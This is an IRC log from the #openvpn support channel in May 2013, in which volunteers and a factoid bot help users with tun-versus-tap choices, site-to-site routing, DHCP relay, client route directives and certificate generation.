19:44 < Serano> so changing my config from tun to tap should do the trick then?
19:45 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
19:46 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
19:46 < jzaw> noote Serano that tap will be effectively topology subnet
19:48 < Serano> so i need to push the routes that come with it (and that is why you mentionned this)?
19:52 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
19:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
19:53 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
19:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Excess Flood]
19:54 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
20:03 -!- Devastator [~devas@177.18.199.137] has quit [Changing host]
20:03 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:04 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 260 seconds]
20:05 -!- raidz is now known as raidz_away
20:11 -!- Nu_learMeltdown is now known as NuclearMeltdown
20:21 -!- Lachesis [~ems@unaffiliated/lachesis] has joined #openvpn
20:37 -!- Lachesis [~ems@unaffiliated/lachesis] has left #openvpn ["Leaving"]
20:51 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
21:01 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
21:03 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
21:05 -!- master_o1_master [~master_of@p4FF240F2.dip0.t-ipconnect.de] has joined #openvpn
21:08 -!- master_of_master [~master_of@p4FF24D18.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
21:11 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
21:23 -!- Neal_ [neal@felix.ineal.me] has quit [Quit: BRB Updating ZNC]
21:23 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 252 seconds]
21:24 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
21:25 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
21:26 -!- zenfish [~zenfish@flying.fish2.com] has quit [Ping timeout: 252 seconds]
21:26 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
21:26 < dan__t> Hello.
21:28 -!- zenfish [~zenfish@flying.fish2.com] has joined #openvpn
21:28 < EugeneKay> Hai
21:29 < dan__t> Hrm, I was going to ask something, but the more I think about it, it's kind of retarded.
21:29 < dan__t> It involves site A, site B, openvpn between the two, and kvm running on both sides with guests using a bridged network adapter
21:33 < dan__t> that's not likely to work because I'd need to include the wireless adapter in a bridge
21:33 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has quit [Read error: Connection reset by peer]
21:34 < pekster> Generally speaking, you don't want tap between separate physical locations
21:34 < dan__t> not to be combative, but to learn, i must ask:  why?
21:34 < pekster> !tunortap
21:34 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
21:34 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
21:34 < dan__t> i did want to pass l2 traffic, i wanted to pass dhcp
21:35 < pekster> If that's *all* you wanted to could either run DHCP at both ends, or use a dhcp relay agent
21:35 < dan__t> at the same time, a secondary or failover dhcp server would work just fine
21:35 < pekster> Both work fine over a routed environment
21:35 < dan__t> I wanted the same subnet between two locations
21:35 < pekster> But why?
21:35 < dan__t> yea, THAT was what i wanted, actually
21:35 < dan__t> because that's what I wanted i guess
21:35 < pekster> If you're answer is "because" I'll challange you and tell you that's an awful reason
21:35 < dan__t> im trying to be able to address both labs with a single namespace, network etc
21:36 < pekster> Try routing. Tastes better, less filling!
21:36 < dan__t> fair enough
21:36 < dan__t> hm alright
21:38 < dan__t> i could have like 10.16 in one location and 10.17 in the other
21:39 < dan__t> dhcp relay would work i suppose, over the vpn
21:42 < pekster> Why would you want your "remote" LAn not to be able to get IPs if the VPN link goes down?
21:42 < pekster> It's a silly reason to have problems with any PC that is up for renewal or cold boots at that time
21:47 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
21:51 < dan__t> i thought i had said something about a failover or remote dhcp server
21:56 < pekster> Right. That's not the same as a relay
21:56 < pekster> You could in theory use 2 DHCP server servicing each LAN segment and somehow filter them beween you bridges, but that's a ton of hassle
21:57 < pekster> You don't want that unless you want your *hosts* to be able to exchange Ethernet (L2) packets. Don't let me talk you out of it, but you don't need it
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:25 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
22:32 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
22:45 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
22:50 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
22:57 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 240 seconds]
22:58 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 252 seconds]
22:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
23:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
23:00 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
23:01 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:02 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Client Quit]
23:03 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:03 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Remote host closed the connection]
23:04 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:04 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
23:04 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
23:05 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Excess Flood]
23:05 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
23:06 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:09 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds]
23:10 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
23:10 -!- raidz_away is now known as raidz
23:10 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
23:10 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
23:10 -!- mode/#openvpn [+o raidz] by ChanServ
23:19 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:22 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
23:55 -!- Gatak [~spam@2001:16d8:ff02:0:490f:a49e:252:a8d4] has joined #openvpn
23:55 -!- Gatak [~spam@2001:16d8:ff02:0:490f:a49e:252:a8d4] has left #openvpn []
--- Day changed Tue May 21 2013
00:22 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Read error: Operation timed out]
00:23 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
00:23 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
00:27 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
00:27 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
00:30 < dan__t> thanks for the advice, pekster
00:47 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:55 -!- JAVACODER [~JAVACODER@2.190.39.58] has quit [Ping timeout: 256 seconds]
00:58 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
01:00 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
01:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:02 -!- JAVACODER [~JAVACODER@2.190.40.24] has joined #openvpn
01:02 -!- iliv [~iliv@5.248.193.99] has joined #openvpn
01:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:09 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:10 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
02:13 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 240 seconds]
02:13 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 240 seconds]
02:14 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
02:15 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
02:16 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
02:18 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
02:22 -!- kalli [~kalli@194-144-126-150.du.xdsl.is] has quit [Read error: Connection reset by peer]
02:29 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:36 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
02:36 -!- Sarah [~Sarah@april-fools/ninth/aster] has quit [Read error: Connection reset by peer]
02:38 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
02:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:50 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
02:50 -!- ade_ [~Ade@94.125.18.11] has joined #openvpn
02:50 -!- ade_ [~Ade@94.125.18.11] has quit [Read error: Connection reset by peer]
03:24 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
03:26 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
03:38 -!- JAVACODER [~JAVACODER@2.190.40.24] has quit [Ping timeout: 256 seconds]
03:45 -!- JAVACODER [~JAVACODER@2.190.40.24] has joined #openvpn
03:50 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:50 -!- pjschmitt [~parker@unaffiliated/schmitt953] has quit [Ping timeout: 264 seconds]
03:50 -!- pjschmitt [~parker@209.141.56.12] has joined #openvpn
04:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
04:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
04:48 -!- Sarah- [~Sarah@astersoftworks.com] has joined #openvpn
04:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Read error: Connection reset by peer]
04:49 -!- Sarah- [~Sarah@astersoftworks.com] has quit [Changing host]
04:49 -!- Sarah- [~Sarah@april-fools/ninth/aster] has joined #openvpn
04:49 -!- Sarah- is now known as Sarah
05:17 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
05:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
05:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:24 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
05:26 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:29 -!- JAVACODER [~JAVACODER@2.190.40.24] has quit [Ping timeout: 256 seconds]
05:32 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Quit: WeeChat 0.4.0]
05:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:44 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
05:49 -!- pppingme is now known as [pppingme]_witho
05:49 -!- [pppingme]_witho is now known as pppingme
05:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
05:57 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
05:57 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
06:00 -!- HaxCore is now known as p3rror
06:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
06:30 -!- mattock_afk is now known as mattock
07:00 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 248 seconds]
07:05 -!- dyer [~dyer@unaffiliated/dyer] has quit [Quit: Computer has gone to sleep.]
07:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:36 -!- dyer [~dyer@unaffiliated/dyer] has joined #openvpn
07:42 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:47 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
07:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
07:56 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
07:57 -!- jtrucks is now known as IamLegion
07:57 -!- IamLegion is now known as jtrucks
07:59 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
08:31 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
08:33 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
08:33 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 256 seconds]
08:49 -!- MrPocketz is now known as MrPockets
08:54 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 246 seconds]
08:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:01 -!- JAVACODER [~JAVACODER@2.190.33.58] has joined #openvpn
09:05 < JAVACODER> lxsameer: haji log haye 1 systemi ro be nazaret to DB berizam sorateh khundanesh bishtareh ya to file berizam ? in log ha hamvareh dar haleh khundan va neveshtan hast ye modul ee read mikoneh 1 moduleh dg ee uno write mikoneh va sorateh read o write inja kheili mohemeh be nazaret to DB berizam ya file ya chizeh dgee ?
09:05 < JAVACODER> sorry
09:06 < JAVACODER> this text is not for this channel
09:10 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:11 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has quit [Ping timeout: 264 seconds]
09:11 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
09:26 <@ecrist> JAVACODER: no problem.  :) we all do it from time to time
09:26 < JAVACODER> ecrist: ;)
09:31 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 264 seconds]
09:32 -!- deegen [~deegen@S01060023bee90320.gv.shawcable.net] has joined #openvpn
09:33 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
09:55 -!- Pherick [~Pherick@199.241.174.130] has joined #openvpn
09:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:55 < Pherick> !welcome
09:55 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:55 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:58 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:01 < Pherick> I would like to add local LAN access to my system while routing all my Internet traffic over the VPN. I beleive this is a case of adding a route line to my client config (VPN is a paid service) but it doesn't seem to be working.
10:01 < Pherick> !configs
10:01 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:02 < pekster> Pherick: Nothing special is required if your LAN is actually link-local as your interface will have a more specific router for that network
10:02 <@ecrist> iirc, your LAN should remain accessible
10:02 < pekster> s/router/router/
10:03 < pekster> Ugh. *route* ;)
10:05 < Pherick> I actually need access to my entire 10.12.0.0 network, not just my local LAN
10:05 < Pherick> I tried route 10.12.0.0 255.255.0.0
10:05 < pekster> Well, you asked about "local LAN" access above ;). That said, sure, you can add a --route directive to your client and send it via the special net_gateway macro which gets expanded to your pre-existing default gateway
10:05 < pekster> See the --route option in the manpage for details
10:06 < pekster> The directive you used sends 10.12/16 via the VPN peer's IP (across the tunnel)
10:06 < Pherick> doh!
10:08 <@ecrist> the man page is your friend.
10:08 < Pherick> I wish this was a Linux system and could use man :(
10:08 < pekster> !man
10:08 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:09 < pekster> You can also install something like cygwin on windows and open the manpage shipped in the source distribution in a terminal
10:09 < Pherick> Thanks pekster, I will do more research
10:10 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
10:12 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
10:13 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:16 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 256 seconds]
10:27 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
10:27 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
10:27 -!- Sarah is now known as Aster
10:27 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:42 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Quit: No Ping reply in 180 seconds.]
10:43 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
10:48 < Pherick> pekster: Thanks again for your help, manpages and some Google-Fu got me working!
10:48 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
10:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
10:51 -!- Pherick [~Pherick@199.241.174.130] has quit []
10:51 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
10:54 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
10:57 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has joined #openvpn
10:57 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has quit [Changing host]
10:57 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
11:00 -!- pjschmitt [~parker@209.141.56.12] has quit [Changing host]
11:00 -!- pjschmitt [~parker@unaffiliated/schmitt953] has joined #openvpn
11:07 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:15 -!- erry [erry@freenode/staff/erry] has quit [Quit: brb]
11:15 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
11:16 -!- erry_ is now known as erry
11:30 -!- acidchild [yesplz@2600:3c01::f03c:91ff:fe96:1b54] has joined #openvpn
11:31 < acidchild> has anyone modified build-key to generate an ovpn file?
11:31 < acidchild> curious if someone has done the hard work..
11:32 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
11:33 < pekster> build-key is a wrapper around openssl. It has nothing to do with openvpn beyond generating an X509 keypair that openvpn happens to use (as do web browsers, secure mail clients, and countless other applications)
11:33 < pekster> So no :)
11:33 < acidchild> Yep, i know :-) it's just a PKI tool.
11:33 < pekster> See !howto or !samples for guides to creating a basic openvpn config
11:34 < acidchild> i have a pretty lame perl script slurping crts in to ovpn files at the moment, wondered if anyone had a nice ruby gem or something beautiful.
11:34 < pekster> I'm not aware of one; outside of very basic setups, the config tends to be very site-specific depending on what you're doing
11:34 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:34 < acidchild> yeah, for sure... you have seen openvpn-as, right?
11:35 < pekster> I don't touch it; I prefer my security applications to be open-source
11:35 < pekster> It's a different codebase, but it's really just a GUI frontend to the openvpn protocol. I'm very much at home on a console
11:37 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
11:37 < acidchild> ok...
11:37 < pekster> Nothing is stopping you from shipping a pre-packaged installer/tarball/whatever for users that includes a "ready to use" build. Some systems, like Tunnelblick for MacOS, make shipping such ready-to-use installables quite easy
11:38 < acidchild> an ovpn file is good enough.. just wondered, thought i'd ask :-)
11:39 < acidchild> i'll just keep using what i have, maybe git init it one day and sit and down and write something decent.
11:39 < pekster> If you're preparing this on the server, you could probably prepare some clever logic server-side to dynamically build a config and send it to the client as a downloadable file
11:39 < pekster> But yea, I'm not aware of some package/git project to do that OOTB today
11:39 < acidchild> :)
11:40 < acidchild> been using OpenVPN for a very long time and this old slurpy perl script does the job..
11:40 < acidchild> perl ovpn.pl $username
11:42 < pekster> I generally discourage people from using build-key since it keeps the user private key on the CA system and then ships it to the end-entity
11:42 < pekster> But it depends on your security needs
11:43 < pekster> "Better Security" suggests keys shouldn't be held on systems they're not intended for, certainly not generated and (hopefully!) encrypted on them where the decryption passphrase needs to be passed to the real user
11:47 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
11:47 -!- hooligan2 [~hooligan@91.236.116.102] has joined #openvpn
11:48 < hooligan2> !welcome
11:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:50 < hooligan2> !redirect
11:50 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:50 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:50 <@vpnHelper> http://ircpimps.org/redirect.png
11:51 < hooligan2> !sample
11:51 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
11:53 < hooligan2> fuck off....
12:03 -!- Zenum [~znc@unaffiliated/zenum] has quit [Quit: ZEE EN CEE :>]
12:04 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
12:06 < acidchild> if using ipv6 try: route-ipv6
12:06 < acidchild>                      2000::/3
12:06 < acidchild> COOL!
12:08 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
12:08 -!- takamich_ [~takamichi@217.23.15.212] has quit [Ping timeout: 276 seconds]
12:09 < hooligan2> no my problem is port forwarding...i´m a linux noob..
12:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:10 < acidchild> This is an iptables question then, you should consider asking in #iptables.
12:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:10 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
12:10 -!- zenfish [~zenfish@flying.fish2.com] has quit [Quit: zenfish]
12:11 < pekster> It depends on usecase too as there's some definite cross over between network tools (like openvpn) and firewall tools (PF/netfilter/etc.) Swearing, however, is unlikely to produce desired results
12:12 < acidchild> wow. indeed pekster, that passed me by..
12:14 < acidchild> iptables -I PREROUTING -t mangle -m swearing -j DROP
12:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:22 -!- Zenum [~znc@unaffiliated/zenum] has quit [Quit: ZEE EN CEE :>]
12:42 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
12:42 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
12:42 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has joined #openvpn
13:36 -!- hooligan2 [~hooligan@91.236.116.102] has quit [Quit: Nettalk6 - www.ntalk.de]
13:46 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:53 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
13:56 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:56 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:57 -!- Devastator- [~devas@177.18.198.101] has joined #openvpn
13:59 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Client Quit]
13:59 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
13:59 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
14:08 -!- iliv [~iliv@5.248.193.99] has quit [Ping timeout: 248 seconds]
14:15 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
14:17 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 240 seconds]
14:17 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
14:18 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
14:35 -!- mattock is now known as mattock_afk
14:41 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:55 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
14:56 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
15:07 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
15:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:16 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
15:20 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 240 seconds]
15:22 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
15:22 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
15:22 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
15:37 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 246 seconds]
15:37 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
15:42 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
15:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:44 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
15:56 -!- ChloeD [~chloe@mare.tigres-rouges.net] has quit [Quit: leaving]
16:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
16:05 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
16:06 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
16:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
16:42 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:59 -!- YamakasY3 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
17:00 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 248 seconds]
17:00 -!- dyer [~dyer@unaffiliated/dyer] has quit [Quit: Computer has gone to sleep.]
17:18 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Excess Flood]
17:18 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
17:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
